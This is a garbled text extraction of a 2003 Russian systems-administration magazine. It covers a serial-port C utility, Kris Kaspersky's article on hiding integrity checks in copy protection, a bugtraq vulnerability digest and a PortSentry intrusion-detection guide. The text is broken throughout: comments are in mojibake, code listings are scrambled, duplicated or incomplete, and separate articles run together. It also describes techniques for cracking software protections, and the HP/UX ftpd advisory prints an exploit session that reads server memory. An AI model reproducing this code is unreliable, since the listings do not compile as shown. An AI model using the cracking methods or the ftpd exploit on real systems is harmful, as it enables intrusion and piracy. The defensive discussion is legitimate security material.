Âûâîäèì ñîñòîÿíèå óñòðîéñòâà (flags & TIOCM_CD) fprintf(stderr,"1 [CD] "); (flags & TIOCM_SR) fprintf(stderr,"2 [RD] "); (flags & TIOCM_ST) fprintf(stderr,"3 [TD] "); (flags & TIOCM_DTR) fprintf(stderr,"4 [DTR] "); (flags & TIOCM_DSR) fprintf(stderr,"6 [DSR] "); (flags & TIOCM_RTS) fprintf(stderr,"7 [RTS] "); (flags & TIOCM_CTS) fprintf(stderr,"8 [CTS] "); (flags & TIOCM_RNG) fprintf(stderr,"9 [RNG] ");

int main(int argc, char **argv) { int fd; int flags=TIOCM_RNG; if (argc<1) { fprintf(stderr,"Usage: sns serial_device"); fprintf(stderr,"For example: sns /dev/ttyS0"); exit(1); }

fprintf(stderr,"\n"); ioctl(fd, TIOCMSET, &flags); // Çàñûïàåì íà 1 ñåêóíäó sleep(1); }

close(fd); }

close(fd); }

Для компилирования программы введите команду: gcc -o pctrl pctrl.c

Каждую секунду программа выводит на экран состояние указанного порта. Вывод программ можно увидеть на рисунке 2. Для установки какого-нибудь сигнала можно воспользоваться следующей программой: Ëèñòèíã 2. Óñòàíîâêà ñèãíàëà RNG #include #include #include #include #include #include #include

34

<sys/ioctl.h> <fcntl.h> <errno.h> <stdlib.h> <unistd.h> <stdio.h> <signal.h>

Ðèñ. 2. Âûâîä ïðîãðàììû.

Примечание. Обе программы нужно запускать от имени пользователя root (пользователя с UID = 0). Все ваши вопросы присылайте по адресу dhsilabs@mail.ru.



безопасность

НЕЯВНЫЙ САМОКОНТРОЛЬ КАК СРЕДСТВО СОЗДАНИЯ НЕЛОМАЕМЫХ ЗАЩИТ

КРИС КАСПЕРСКИ

36


безопасность Основная ошибка подавляющего большинства разработчиков защитных механизмов состоит в том, что они дают явно понять хакеру, что защита еще не взломана. Если защита сообщает «неверный ключевой файл (пароль)», то хакер ищет тот код, который ее выводит и анализирует условия, которые приводят к передаче управления на данную ветку программы. Если защита в случае неудачной аутентификации блокирует некоторые элементы управления и/или пункты меню, хакер либо снимает такую блокировку «в лоб», либо устанавливает точки останова (в просторечии называемые «бряками») на API-функции, посредством которых такое блокирование может быть осуществлено (как правило, это EnableWindows), после чего он опять-таки оказывается в непосредственной близости от защитного механизма, который ничего не стоит проанализировать и взломать. Даже если защита не выводит никаких ругательств на экран, а просто молчаливо выходит из программы, то хакер либо ставит точку останова на функцию exit, либо тупо трассирует программу и, дождавшись момента передачи управления на exit, анализирует один или несколько последующих условных переходов в цепи управления – какой-то из них непосредственно связан с защитой! В некоторых защитных механизмах используется контроль целостности программного кода на предмет выявления его изменений. Теперь, если хакер подправит несколько байтиков в программе, защита немедленно обнаружит это и взбунтуется. «Святая простота!» – воскликнет хакер и отключит самоконтроль защиты, действуя тем же самым способом, что описан выше. По наблюдениям автора, типичный самоконтроль выявляется и нейтрализуется за несколько минут. Наиболее сильный алгоритм защиты: использовать контрольную сумму критических участков защитного механизма для динамической расшифровки некоторых веток программы, которые ломаются уже не за минуты, а за часы (в редчайших случаях – дни). Алгоритм взлома выглядит приблизительно так: подсмотрев контрольную сумму в оригинальной программе, хакер переписывает код функции CalculateCRC, заставляя ее всегда возвращать это значение, не выполняя реальной проверки; если защита осуществляет подсчет контрольной суммы различных участков программы и/или разработчик использовал запутанный самомодифицирующийся код, труднопредсказуемым способом меняющий свою контрольную сумму, то хакер может изменить защиту так, чтобы она автоматически самовосстанавливалась после того, как все критические участки будут пройдены; отследив все вызовы CalculateCRC, хакер может просто снять динамическую шифровку, расшифровав ее вручную, после чего надобность в CalculateCRC пропадает. Стоит отметить, что независимо от способа своей реализации любой самоконтроль элементарно обнаруживается установкой точек останова на те участки защитного механизма, которые были изменены. Остальное – дело техники. Можно сколь угодно усложнять алгоритм подсче-

№7(8), июль 2003

та контрольной суммы: напичкивать его антиотладочными приемами, реализовать его на базе собственных виртуальных машин (то есть интерпретаторов), некоторые из них, например, Стрелку Пирса, достаточно трудно проанализировать. Но если такие меры и остановят взломщика, то ненадолго.

Техника неявного контроля Ошибка традиционного подхода заключается в его предсказуемости. Любая явная проверка чего бы то ни было независимо от ее алгоритма – это зацепка! Если хакер локализует защитный код, то все – пиши пропало. Единственный надежный способ отвадить его от взлома – «размазать» защитный код по всей программе с таким расчетом, чтобы нейтрализовать защиту без полного анализа всей программы целиком – было заведомо невозможным. К сожалению, существующие методики «размазывания» либо многократно усложняют реализацию программы, либо крайне неэффективны. Некоторые программисты вставляют в программу большое количество вызовов одной и той же защитной функции, идущих из различных мест, наивно полагая тем самым, что хакер будет искать и анализировать их все. Да как бы не так! Хакер ищет ту самую защитную функцию и правит ее. К тому же, зная смещение вызываемой функции, найти и отследить ее вызовы можно без труда! Даже если встраивать защитную функцию непосредственно в место ее вызова, хакер сможет найти все такие места тупым поиском по сигнатуре. Пусть оптимизирующие компиляторы несколько меняют тело inline-функций с учетом контекста конкретного вызова, эти изменения непринципиальны. Реализовать же несколько десятков различных защитных функций слишком накладно, да и фантазии у разработчика не хватит, и хакер, обнаружив и проанализировав пару-тройку защитных функций, настолько проникнется «духом» и ходом мысли разработчика, что все остальные найдет без труда. Между тем существует и другая возможность – неявная проверка целостности своего кода. Рассмотрим следующий алгоритм защиты: пусть у нас имеется зашифрованная (а еще лучше упакованная) программа. Мы, предварительно скопировав ее в стековый буфер, расшифровываем (распаковываем) ее и… используем освободившийся буфер под локальные переменные защищенной программы. С точки зрения хакера, анализирующего дизассемблерный код, равно как и гуляющего по защите отладчиком, все выглядит типично и «законно». Обнаружив защитный механизм (пусть для определенности это будет тривиальная парольная проверка), хакер правит соответствующий условный переход и с удовлетворением убеждается, что защита больше не ругается и программа работает. Как будто бы работает! – через некоторое время выясняется, что после взлома работа программы стала неустойчивой: то она неожиданно виснет, то делает из чисел винегрет, то… Почесав репу, хакер озадаченно думает: «А как это вообще ломать? На что ставить точки останова? Ведь не анализировать же весь код целиком!». Весь фокус в том, что некоторые из ячеек буфера, ранее занятого зашифрованной (упакованной) програм-

37


безопасность мой при передаче их локальным переменным не были проинициализированы! Точнее, они были проинициализированы теми значениями, что находились в соответствующих ячейках оригинальной программы. Как нетрудно догадаться, именно эти ячейки и хранили критичный к изменениям защитный код, а потому и неявно контролируемый нашей программой. Теперь я готов объяснить, зачем вся эта котовасия с шифровкой (упаковкой) нам вообще понадобилась: если бы мы просто скопировали часть кода программы в буфер, а затем «наложили» на него наши локальные переменные, то хакер сразу бы заинтересовался происходящим и, бормоча под нос «что-то здесь не так», вышел бы непосредственно на след защиты. Расшифровка нам понадобилась лишь для усыпления бдительности хакера. Вот он видит, что код программы копируется в буфер. Спрашивает себя: «А зачем?». И сам же себе отвечает: «Для расшифровки!». Затем, дождавшись освобождения буфера с последующим затиранием его содержимого локальными переменными, хакер (даже проницательный!) теряет к этому буферу всякий интерес. Далее, если хакер поставит контрольную точку останова

Ðèñóíîê 1.

38

на модифицированный им защитный код, то он вообще не обнаружит к ней обращения, т.к. защита контролирует именно зашифрованный (упакованный) код, содержащийся в нашем буфере. Даже если хакер поставит точку останова на буфер, он быстро выяснит, что: ни до, ни в процессе, ни после расшифровки (распаковки) программы содержимое модифицированных им ячеек не контролируется (что подтверждает анализ кода расшифровщика/распаковщика – проверок целостности там действительно нет); обращение к точке останова происходит лишь тогда, когда буфер затерт локальными переменными и (по идее!) содержит другие данные. Правда, ушлый хакер может обратить внимание, что после «затирания» значение этих ячеек осталось неизменным. Совпадение? Проанализировав код, он сможет убедиться, что они вообще не были инициализированы и тогда защита падет! Однако мы можем усилить свои позиции: достаточно лишь добиться, чтобы контролируемые байты попали в «дырки», образующиеся при выравнива-


безопасность нии структуры (этим мы отвечаем хакеру на вопрос: а чего это они не инициализированы?), а затем скопировать эту структуру целиком (вместе с контролируемыми «дырками»!) в десяток-другой буферов, живописно разбросанных по всей программе. Следить на всеми окажется не так-то просто: во-первых, не хватит контрольных точек, а во-вторых, это просто не придет в голову.

Практическая реализация Правила хорошего тона обязывают нас проектировать защитные механизмы так, чтобы они никогда, ни при каких обстоятельствах не могли нанести какой бы то ни было вред легальному пользователю. Даже если вам оченьочень хочется наказать хакера, ломающего вашу программу, форматировать диск в случае обнаружения модификации защитного кода, категорически недопустимо! Вопервых, это просто незаконно и попадает под статью о умышленном создании деструктивных программ, а вовторых, задумайтесь, что произойдет, если искажение файла произойдет в результате действий вируса или некоторого сбоя? Если вы не хотите, чтобы пострадали невинные, вам придется отказаться от всех форм вреда, в том числе и преднамеренном нарушении стабильности работы самой защищенной программы. Стоп! Ведь выше мы говорили как раз об обратном. Единственный путь сделать защиту трудноломаемой, не выдавая никаких ругательных сообщений, по которым нас можно засечь, – молчаливо делать винегрет из обрабатываемых данных. А теперь выясняется, что делать этого по этическим (и юридическим!) соображениям нельзя. На самом деле, если хорошо подумать, то все эти ограничения легко обойти. Что нам мешает оснастить защиту явной проверкой целостности своего кода? Хакер найдет и нейтрализует ее без труда, но это и не страшно, поскольку истинная защита находится совершенно в другом месте, а вся эта бутафория нужна лишь затем, чтобы предотвратить последствия непредумышленного искажения кода программы и поставить пользователя в известность, что все данные нами гарантии (как явные, так и предполагаемые) ввиду нарушения целостности оригинального кода аннулируются. Правда, при обсуждении защиты данного типа некоторые коллеги мне резонно возразили, а что, если в результате случайного сбоя окажутся изменены и контролируемые ячейки, и сама контрольная сумма? Защита сработает у легального пользователя!!! Ну что мне на это ответить? Случайно таких «волшебных» искажений просто не бывает, их вероятность настолько близка к нулю, что… К тому же, в случае срабатывания защиты мы ведь не форматируем легальному пользователю диск, а просто нарушаем нормальную работу программы. Пусть и предумышленно, все равно, если в результате того или иного сбоя был искажен исполняемый файл, то о корректности его работы более говорить не приходится. Ну хорошо, если вы так боитесь сбоев, можно встроить в защиту хоть десяток явных проверок, – трудно нам что ли?! Ладно, оставим этические проблемы на откуп тем самым пользователям, которые приобретают титул «лицензионных» исключительно через крак, и перейдем к конкретным вещам. Простейший пример реализации данной

№7(8), июль 2003

защиты приведен в листинге 1. Для упрощения понимания и абстрагирования от всех технических деталей здесь используется простейшая схема аутентификации, «ломать» которую совершенно необязательно: достаточно лишь подсмотреть оригинальный пароль, хранящийся в защищенном файле прямым текстом. Для демонстрационного примера такой прием с некоторой натяжкой допустим, но в реальной жизни вам следует быть более изощренными. По крайней мере, следует добиться того, чтобы ваша защита не ломалась изменением одного-единственного байта, поскольку в этом случае даже неявный контроль будет легко выявить. Следует также отметить, что контролировать все критические байты защиты – не очень-то хорошая идея, т.к. хакер сможет это легко обнаружить. Если защита требует для своего снятия хотя бы десяти модификаций в различных местах, три из которых контролируются, то с вероятностью ~70% факт контроля не будет обнаружен. Действительно, среднестатистический хакер следить за всеми модифицированными ими байтами просто не будет. Вместо этого, он в надежде что тупая защита контролирует целостность своего кода целиком, будет следить за обращениями к одной, ну максимум двум-трем измененным им ячейкам и… с удивлением обнаружит, что защита их вообще не контролирует. После того как контрольные точки выбраны, вы должны определить их смещение в откомпилированном файле. К сожалению, языки высокого уровня не позволяют определять адреса отдельных машинных инструкций и, если только вы не пишите защиту на ассемблерных вставках, то у вас остается один-единственный путь – воспользоваться каким-нибудь дизассемблером (например, IDA). Допустим, критическая часть защиты выглядит так, и нам необходимо проконтролировать целостность условного оператора if, выделенного красным цветом: int my_func() { if (check_user()) { fprintf(stderr, "passwd ok\n"); } else { fprintf(stderr, "wrong passwd\n"); exit(-1); } return 0; }

Загрузив откомпилированный файл в дизассемблер, мы получим следующий код (чтобы быстро узнать, которая из всех процедур и есть my_func, опирайтесь на тот факт, что большинство компиляторов располагает функции в памяти в порядке их объявления, т.е. my_func будет вторая по счету функция): .text:00401060 sub_401060 ; CODE XREF: sub_4010A0+AF?p .text:00401060 .text:00401065 .text:00401067 .text:00401069 ; "passwd ok\n" .text:0040106E .text:00401073 .text:00401078

proc near ↵ call test jz push

sub_401000 eax, eax short loc_40107E offset aPasswdOk ↵

push call add

offset unk_407110 _fprintf esp, 8

39


безопасность .text:0040107B xor eax, eax .text:0040107D retn .text:0040107E ; ----------------------------------------.text:0040107E .text:0040107E loc_40107E: ↵ ; CODE XREF: sub_401060+7?j .text:0040107E push offset aWrongPasswd ↵ ; "wrong passwd\n" .text:00401083 push offset unk_407110 .text:00401088 call _fprintf .text:0040108D push 0FFFFFFFFh ↵ ; int .text:0040108F call _exit .text:0040108F sub_401060 endp

Как нетрудно сообразить, условный переход, расположенный по адресу 0x401067, и есть тот самый «if», который нам нужен. Однако это не весь if, а только малая его часть. Хакер может и не трогать условного перехода, а заменить инструкцию test eax, eax на любую другую инструкцию, сбрасывающую флаг нуля. Также он может модифицировать защитную функцию sub_401000, которая и осуществляет проверку пароля. Словом, тут много разных вариантов и на этом несчастном условном переходе свет клином не сошелся, а потому для надежного распознавания взлома нам потребуются дополнительные проверки. Впрочем, это уже детали. Главное, что мы определили смещение контролируемого байта. Кстати, а почему именно байта? Ведь мы можем контролировать хоть целое двойное слово, расположенное по данному смещению! Особого смысла в этом нет, просто так проще. Чтобы не работать с непосредственными смещениями (это неудобно и вообще некрасиво), давайте загоним их в специально на то предназначенную структуру:

int my_func() { if (check_user()) { fprintf(stderr, "passwd ok\n"); } else { fprintf(stderr, "wrong passwd\n"); exit(-1); } return 0; } main() { int a, b = 0; #pragma pack(1) union anti_hack { char buf[MAX_CODE_SIZE]; struct code_control { int local_var_1; int local_var_2; char gag_1[OFFSET_1-sizeof(int)*2]; int x_val_1; char gag_2[OFFSET_2 - OFFSET_1 - sizeof(int)]; int x_val_2; }; }; union anti_hack ZZZ; // TITLE fprintf(stderr, "crackeme.0xh by Kris Kaspersky\n"); // ðàñøèôðîâêà êîäà // ====================================================== // êîïèðóåì ðàñøèôðîâûâàåìûé êîä â áóôåð memcpy(&ZZZ, &check_user, (int) &main - (int) &check_user); // ðàñøèôðîâûâàåì â áóôåðå for (a = 0; a < (int) &main - (int) &check_user; {

union anti_hack { char buf[MAX_CODE_SIZE]; struct code_control { int local_var_1; int local_var_2; char gag_1[OFFSET_1-sizeof(int)*2]; int x_val_1; char gag_2[OFFSET_2 - OFFSET_1 - sizeof(int)]; int x_val_2; }; };

(*(char *) ((int) &ZZZ + a)) ^= x_crypt; } // êîïèðóåì îáðàòíî memcpy(&check_user, &ZZZ, (int) &main - (int) &check_user); // ÿâíàÿ ïðîâåðêà èçìåíåíèÿ êîäà // ====================================================== for (a = 0; a < (int) &main - (int) &check_user; a++) { b += *(int *) ((int) &check_user + a); } if (b != x_original_all) { fprintf(stderr, "-ERR: invalid CRC (%x) hello, hacker\n", b); return 0; }

Исходный текст: Ëèñòèíã 1. #include <stdio.h> #define #define #define #define #define

PASSWD MAX_LEN MAX_CODE_SIZE OFFSET_1 OFFSET_2

#define x_original_1 #define x_original_2 #define x_original_all #define

x_crypt

"+++" 1023 (0x10*1024) 0x42 0x67

// ÿâíàÿ ïðîâåðêà "âàëèäíîñòè" ïîëüçîâàòåëÿ // ====================================================== my_func(); // íîðìàëüíîå âûïîëíåíèå ïðîãðàììû // ======================================================

0xc01b0574 0x44681574 0x13D4C04B

// ñêðûòûé êîíòðîëü ZZZ.local_var_1 = 2; ZZZ.local_var_2 = 2;x_original_2; sprintf(ZZZ.gag_1, "%d * %d = %d\n", ZZZ.local_var_1, ↵ ZZZ.local_var_2, ZZZ.local_var_1*ZZZ.local_var_2 + ↵ ((x_original_1^ZZZ.x_val_1)+ ↵ (x_original_2^ZZZ.x_val_2)));

0x66

int check_user() { char passwd[MAX_LEN]; fprintf(stderr,"enter password:"); fgets(passwd, MAX_LEN, stdin); return ~strcmp(passwd, PASSWD); }

40

a++)

printf("DEBUG: %x %x\n", ZZZ.x_val_1, ZZZ.x_val_2); fprintf(stderr, "%s",ZZZ.gag_1); }


безопасность Заключение Итак, для надежной защиты своих программ от вездесущих хакеров вам совершенно необязательно прибегать к помощи широко разрекламированных, но дорогостоящих электронных ключей (которые, как известно, склонны в самый неподходящий момент "сгорать", к тому же "отвязать" программу от ключа для опытного взломщика не проблема). Также совершенно необязательно спускаться на уровень "голого" ассемблера (ассемблерные защиты непереносимы и к тому же чрезвычайно трудоемки в отладке, про сопровождение я и вовсе молчу). Как было показано выше, практически неломаемую защиту можно создать и на языках высокого уровня, например, на Си/ Си++, Delphi или Фортране. Защиты, основанные на неявном контроле целостности своего кода, ни один здравомыслящий хакер ломать не будет (конечно, при условии, что они не содержат грубых ошибок реализации, значительно упрощающих взлом), ибо трудоемкость взлома сопоставима с разработкой аналогичной программы "с нуля", а ведь

№7(8), июль 2003

каждую новую версию защищенной программы придется ломать индивидуально и опыт предыдущих взломов ничуть не упрощает задачу, а сама логика защиты до безобразия проста. Как защита проверяет целостность своего кода, хакеру более или менее ясно, но вот где конкретно осуществляется такая проверка, он не сможет сказать до тех пор, пока не проанализирует всю программу целиком. Допустим, объем кода защищенного приложения составляет порядка 256-512 Кб (не слишком много, правда?), тогда при средней длине одной машинной инструкции в 2,5 байта, хакеру придется проанализировать 100 – 200 тысяч ассемблерных команд! При "крейсерской" скорости анализа 10-20 инструкций в минуту (а это предел мечтаний для профессионалов экстракласса) ориентировочное время взлома составит по меньшей мере полтораста часов работы – почти неделя напряженного труда! А на практике (с учетом затрат на тестирование взломанного приложения) даже более того. Другими словами, взломать защиту за разумное время нереально.

41


bugtraq KDE Konqueror Embedded не в состоянии в некоторых случаях подтвердить подлинность SSL-сертификатов Уязвимость обнаружена в KDE Konqueror. Программное обеспечение не проверяет имя хоста в SSL-сертификатах. Сообщается, что выполнение KDE SSL в KDE Konqueror Embedded проверяет сертификаты, основанные на IP-адресе, но не проверяет, соответствует ли Common Name имени хоста. Удаленный пользователь может подделать безопасный веб-сервер или выполнить SSL man-in-themiddle нападение таким образом, что его не сможет обнаружить KDE Konqueror Embedded. Патчи можно скачать отсюда: ftp://ftp.kde.org/pub/kde/security_patches 4c252809dec8be73bbe55367350c27ca post-2.2.2-kdelibskssl-2.diff 441afec72fab406f8c1cd7d6b839b3e0 post-2.2.2-kdelibskio-2.diff Уязвимость обнаружена в KDE 2.2.2 и более ранних версиях.

Множественные переполнения буфера в MDaemon IMAP-сервере Несколько уязвимостей обнаружено в MDaemon IMAP-сервере. Удаленный пользователь может аварийно завершить работу сервиса или выполнить произвольный код с Systemпривилегиями. Сообщается, что несколько переполнений буфера существует в обработке IMAP4-протокола. Удаленный пользователь может послать чрезмерно большое количество данных с командами EXAMINE, DELETE, SUBSCRIBE, RENAME, UNSUBSCRIBE, LIST, LSUB, STATUS, LOGIN, CREATE и SELECT, чтобы вызвать переполнение. Для выполнения некоторых команд требуется авторизация. Уязвимость обнаружена в MDaemon 6.7.8.

Обход ограничений доступа по хостам в OpenSSH Уязвимость в проверке правильности доступа обнаружена в OpenSSH. Удаленный пользователь, способный управлять DNS, может обойти ограничения по хостам в OpenSSH. Сообщается, что при получении нового подключения OpenSSH выполняет обратный DNS-просмотр и проверяет результаты поиска против IP-адресов или имени хостов, указанных в файле конфигурации OpenSSH, как разрешенные или запрещенные хосты. Если файл конфигурации определяет числовой IP-адрес или интервал IP-адресов, удаленный пользователь, контролирующий DNS-сервер, может заставить DNS-сервер возвратить имя хоста, содержащее строку IP-адреса (например, '[ipaddress].[domain]'). Если строка IP-адреса соответствует разрешенным IP-адресам в конфигурационном файле, OpenSSH некорректно определит подключение как разрешенное. В результате удаленный пользователь может получить доступ к SSH-порту от запрещенного хоста. Уязвимость обнаружена в OpenSSH 3.6.1 и более ранних версиях. Для устранения уязвимости, включите опцию 'VerifyReverseMapping' на SSH-сервере.

42

Просмотр содержания произвольных файлов в памяти системы в HP/UX 'ftpd' Уязвимость обнаружена в HP/UX 'ftpd' в команде REST. Удаленный пользователь может просматривать содержание произвольных файлов в памяти системы. Сообщается, что удаленный пользователь может использовать команду REST (reset) и определить местоположение памяти, чтобы просматривать содержание файлов из памяти. Пример: (еще несколько примеров можно найти в источнике сообщения): frieza elguapo $ ftp 192.168.1.111 Connected to 192.168.1.111. 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 ↵ GMT 1999) ready. Name (192.168.1.111:root): elguapo 331 Password required for elguapo. Password: 230 User elguapo logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> rest 1111111111111111 restarting at 2147483647. execute get, put or append ↵ to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. # gdb /usr/lbin/ftpd 2862 GNU gdb 4.18-hppa-991112 Copyright 1998 Free Software Foundation, Inc. /home/elguapo/2862: No such file or directory. Attaching to program: /usr/lbin/ftpd, process 2862 Unable to find __dld_flags symbol in object file. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x7fffffff: Bad address. (gdb) info registers r3 r11 r3: 7fffffff r11: 7fffffff

Уязвимость может использоваться, например, для получения пароля root из памяти. Уязвимость связана с неправильным использованием конверсионного символа в строке формата. Уязвимость обнаружена в HP/UX ftpd 1.1.214.4. Hewlett Packard выпустил заплату PHNE_18377, устраняющую эту уязвимость.

DoS против Microsoft Windows XP Уязвимость обнаружена во всех версиях Microsoft Windows XP. Локальный пользователь может аварийно завершить работу системы. Проблема связана с тем, что Windows не в состоянии правильно обработать множественные вложенные директории. Локальный пользователь может создать каталог, содержащий 122 вложенные директории и обратиться к последней директории, чтобы аварийно завершить работу системы. Уязвимость обнаружена в Microsoft Windows XP. Составил Александр Антипов



безопасность

СЕРГЕЙ ЯРЕМЧУК 44


безопасность В статье «Контрольная сумма на защите Linux/FreeBSD» июньского номера журнала «Системный администратор» была рассмотрена настройка утилиты Tripwire, позволяющей системному администратору контролировать целостность важных системных файлов и быть предупрежденным о взломе. Но хотелось бы не доводить до всего этого и иметь возможность защититься и предотвратить взлом. Существует множество утилит, позволяющих определить признаки подготовки и начала атаки (сканирование портов, множество неудачных удаленных подключений к серверу), в этой статье познакомимся с тремя из них. Набор программ TriSentry от компании Psionic Technologies Inc. (http://www.psionic.com/) разработаны, чтобы увеличить защиту компьютерных сетей и уменьшить вероятность проникновения, эти приложения относятся к IDS (Intrusion Detection System – система обнаружения вторжений). Состоит TriSentry из трех ключевых компонентов: PortSentry, HostSentry и LogSentry, распространяемых как freeware и предназначенных для использования на Unix-подобных операционных системах как вместе, так и раздельно, в зависимости от задач и необходимости.

PortSentry PortSentry – программа, предназначенная для обнаружения сканирования портов, которое, как правило, всегда предшествует атаке. Она не только позволяет регистрировать это в системных журналах при помощи syslog, но и позволяет запустить в ответ любую программу (блокировки хоста firewall или переадресации на несуществующий dead host, traseroute, свой скрипт), которой могут быть переданы IPадрес атакующего и номер атакуемого порта, или просто прописать адрес компьютера в файле /etc/hosts.deny. PortSentry обнаруживает практически все известные виды сканирования: Strobe-style, SYN/half-open, Null, XMAS, FIN, TCP connect и другие. В файле README.stealth архива вы найдете описание обнаруживаемых методов Stealth-сканирования. В настоящее время имеется уже версия 2.0 программы, отличающаяся от первой поддержкой libpcap, т.е. методами обнаружения сканирования. После закачки пакета распакуйте (tar xfz portsentry-2.0b.tar.gz) его и откройте в любимом редакторе файл portsentry_config.h, в котором содержатся некоторые опции конфигурирования, для большинства случаев подойдут используемые по умолчанию: CONFIG_FILE “/usr/local/psionic/portsentry2/portsentry.conf” – содержится путь к конфигурационному файлу, если значение по умолчанию не подходит, изменив его, не забудьте подправить его и в Makefile в опциях INSTALLDIR (/usr/local/psionic) и CHILDDIR (/portsenry2); WRAPPER_HOSTS_DENY “/etc/hosts.deny” – путь к файлу hosts.deny для работы tcpwrapper; SYSLOG_FACILITY LOG_DAEMON – тип логов для syslogd (подробности в man 3 syslog); SYSLOG_LEVEL LOG_NOTICE – уровень syslogd для посылки сообщений; MAXSTATE 50 – максимальное количество запоминаемых хостов для проверки повторного подключения. Знак решетки (#) в этом файле в начале строк с переменными – это не признак комментария, они требуются

№7(8), июль 2003

компилятором С при обработке файлов заголовков, поэтому удалять их не надо. После набираем: # make linux (openbsd, freebsd, netbsd)

чтобы откомпилировать программу и затем под логином root: # make install

Теперь в /usr/local должен появиться каталог psionic с подкаталогом portsentry2, в котором будут находиться три файла: portsentry – исполняемый файл программы, portsentry.conf и portsentry.ignore. В portsentry.ignore содержатся IP-адреса узлов, которые не дожны блокироваться. По умолчанию там содержится два адреса 127.0.0.1 и 0.0.0.0, остальные при необходимости заносятся в формате <IP Address>/<Netmask>. Например: 192.168.2.0/24 192.168.0.0/16 192.168.2.1/32

По умолчанию используется 32-битная маска. Теперь самое время заглянуть в главный конфигурационный файл portsentry.conf. Опции в этом файле для удобства условно сгруппированы по секциям и имеют вид ОПЦИЯ=«значение».

Значения опций файла portsentry.conf Interface Configurations INTERFACE=«auto» – названия подконтрольного интер-

фейса, при наличии одного возможен вариант «auto», и он будет найден автоматически; если же их несколько, то необходимо указать на выбранный для контроля, например INTERFACE=«eth0», Portsentry может контролировать только один интерфейс. INTERFACE_ADDRESS=«XXX.XXX.XXX.XXX» – IP-адрес интерфейса, без него Portsentry не сможет работать должным образом, в данное время не поддерживается динамическое определение адреса, в этом случае придется писать скрипт (но в ближайшее время, по заверениям разработчиков, такая опция будет реализована).

Port Configurations TCP_PORTS – перечисляются через запятую все про-

веряемые Portsentry TCP-порты (диапазоны не поддерживаются), список желательно не делать слишком большим, чтобы уменьшить количество срабатываний, но он должен охватывать весь диапазон и содержать порт номер 1, так как в большинстве сканеров сканирование начинается именно с него, также не надо включать сюда порты, открытые работающими приложениями (20 – ftp, 25 – sendmail, 80 – httpd и пр.). При попытке подключения к указанному порту информация об этом заносится в логи, затем выполняется пользовательская команда и после узел блокируется при помощи ipchains. UDP_PORTS – то же самое, только касается UDP-портов.

45


безопасность Configuration Files IGNORE_FILE – полный путь к файлу portsentry.ignore. HISTORY_FILE – путь к файлу с историей, в котором

содержатся записи о времени блокирования, имени и IP-адреса хоста, атакованный порт и протокол (TCP или UDP). BLOCKED_FILE – шаблон, из которого формируется файл блокировки, имеющий имя BLOCKED_FILE.протокол.

Misc. Configuration Options RESOLVE_HOST – при установлении в 1 производится запрос сервера DNS имени хоста нападавшего. На медленных компьютерах это может увеличить время реакции и может предупредить нападающего о наличии Portsentry, если он контролирует сервер имен. Значение по умолчанию – 0.

Ignore Options BLOCK_UDP – позволяет задать ответную реакцию

на сканирование в зависимости от установленного значения. При значении 0 ничего не происходит, узел не блокируется, команда не запускается; 1 означает блокировать узел и запустить на выполнение команду; 2 – только запустить заданную команду. Команда задается при помощи опции KILL_RUN_CMD. BLOCK_TCP – то же самое, только для TCP-протокола.

Scan trigger value SCAN_TRIGGER – определяет разрешенное количество подключений, прежде чем Portsentry начнет действовать. Значение по умолчанию 0 означает немедленную реакцию. Установка в 1 или 2 уменьшит количество ложных срабатываний. Но можно оставить как есть. Это все опции применительно к версиям 1.1 и 2.0, но в версии 1.1, которая до сих пор пользуется популярностью, имеется еще одна опция – PORT_BANNER, которая задает сообщение, выводимое при подключении к проверяемому порту. PORT_BANNER="** UNAUTHORIZED ACCESS PROHIBITED *** YOUR CONNECTION ATTEMPT HAS BEEN LOGGED. GO AWAY."

Сами авторы программы не рекомендуют пользоваться ею, чтобы не злить взломщика, очевидно поэтому она и была убрана со второй версии программы. Хотя можно попытаться при помощи этой опции сбить начинающего взломщика с толку, указав, например, неправильные данные о системе. После того как все параметры установлены, можно запускать утилиту. Во второй версии это просто запуск исполняемого файла без параметров. # /usr/local/psionic/portcentry2/portcentry

После этого в файле /var/log/message должно появиться примерно такое сообщение, в котором описываются контролируемый интерфейс и порты:

Dropping Routes В этой секции описывается команда, которая будет выполнена при обнаружении сканирования, при этом переменная $TARGET$ заменяется IP-адресом, а в переменную $PORT$ будет подставлен номер порта, к которому было подключение. В файле содержатся шаблоны команд (удаление маршрута, установка firewall) для различных операционных систем, необходимую нужно раскомментировать или дописать свою, используя параметр KILL_ROUTE. # FreeBSD #KILL_ROUTE="route add -net $TARGET$ ↵ -netmask 255.255.255.255 127.0.0.1 -blackhole" # iptables support for Linux #KILL_ROUTE="/usr/local/bin/iptables -I INPUT -s $TARGET$ ↵ -j DROP"

TCP Wrappers KILL_HOSTS_DENY – опция задает строку, которая будет помещена в /etc/hosts.deny для блокировки доступа (ALL: $TARGET$).

External Command KILL_RUN_CMD – команда, которая будет выполнена

46

в сторону нападающего. Можно запустить отправку почты администратору или на любителя порцию фрагментированных пакетов. KILL_RUN_CMD_FIRST – установка значения в 0 запустит команду, перед тем как маршрут будет удален из таблицы; в 1 – после.

4 09:00:32 grinder portsentry[1881]: adminalert: ↵ Monitoring interface eth0 and address: 192.168.0.4 Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵ Initializing PortSentry BPF filters. Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵ Monitoring TCP ports: 1,11,15,79,111,119,143,515,540,635,666,1080,1524,2000,6667, ↵ 12345,12346,20034,27374,27665,3133 7,32771,32772,32773,32774,40421,49724,54320,54321 Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵ Monitoring UDP ports: 1,7,9,69,161,162,513,635,2049,27444,32770,32771,32772,32773,32774,31337,54321 Jun 4 09:00:32 grinder portsentry[1881]: adminalert: ↵ PortSentry is initialized and monitoring. Jun

